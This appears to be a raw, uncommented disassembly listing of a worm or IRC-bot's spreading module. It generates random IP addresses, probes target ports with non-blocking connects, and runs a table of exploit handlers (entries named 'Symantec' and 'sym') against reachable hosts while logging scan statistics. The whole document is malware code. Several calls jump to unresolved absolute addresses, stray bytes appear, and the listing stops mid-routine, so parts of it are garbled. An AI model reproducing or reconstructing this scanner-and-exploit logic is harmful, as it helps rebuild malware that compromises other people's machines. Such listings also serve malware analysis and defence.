; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDAB0
		mov	ecx, dword_4CDAAC
		push	esi
		push	dword_4CACE4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDAB0
		lea	eax, [ebp+var_200]
		push	dword_4CDAAC
		push	offset unk_4317F4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCF4
		push	offset unk_43183C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431888
		push	eax
		call	sub_41B886
		cmp	dword_431438, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431878
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFE4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431438, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431438
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
		sub	al, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0F0[eax*8]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431928
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431908
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431444[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD1AC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD3BC, eax
		mov	dword_4CD3B8, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD2B0
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD1A8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD440, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD3BC
		push	offset unk_42BE8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD3B4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD1A8
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, dword_4CD3B4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD448, ebx
		jnz	short loc_40BC23
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A48
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACE0
		mov	esi, offset dword_4CD454
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD664, eax
		mov	dword_4CD660, ebx
		nop
		call	near ptr 2660000h
		push	103h
		push	edi
		push	offset dword_4CD558
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD450, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6E8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD664
		push	offset unk_431A14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD65C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD450
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, dword_4CD65C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6F0, ebx
		jnz	short loc_40BD47
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43144C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCEC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD114, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD108, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD110, ebx
		mov	dword_4CD198, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD114
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD10C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD108
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, dword_4CD10C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD1A0, ebx
		jnz	short loc_40BE6A
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431978
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431448[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD984
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA9C, ebx
		mov	dword_4CDA88, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6FC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6F8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA88
		mov	dword_4CDA94, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA98, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BE14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA90, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6F8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, dword_4CDA90
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDAA4, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		call	near ptr 2670E77h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431944
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0F0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAECC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAFA0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0F0[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAFA4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF8C
		push	esi
		mov	edi, eax
		call	dword_4CB03C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 2680D52h
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEE4[ebx]
		cmp	dword_4CB0F4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEE4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431AA4
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCE0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0F0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0F0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43143C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 267053Bh
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFE4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0F0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0F0
		push	esi
		nop
		call	near ptr 26D0713h
		push	80000400h
		push	esi
		nop
		call	near ptr 26D0577h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B88
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
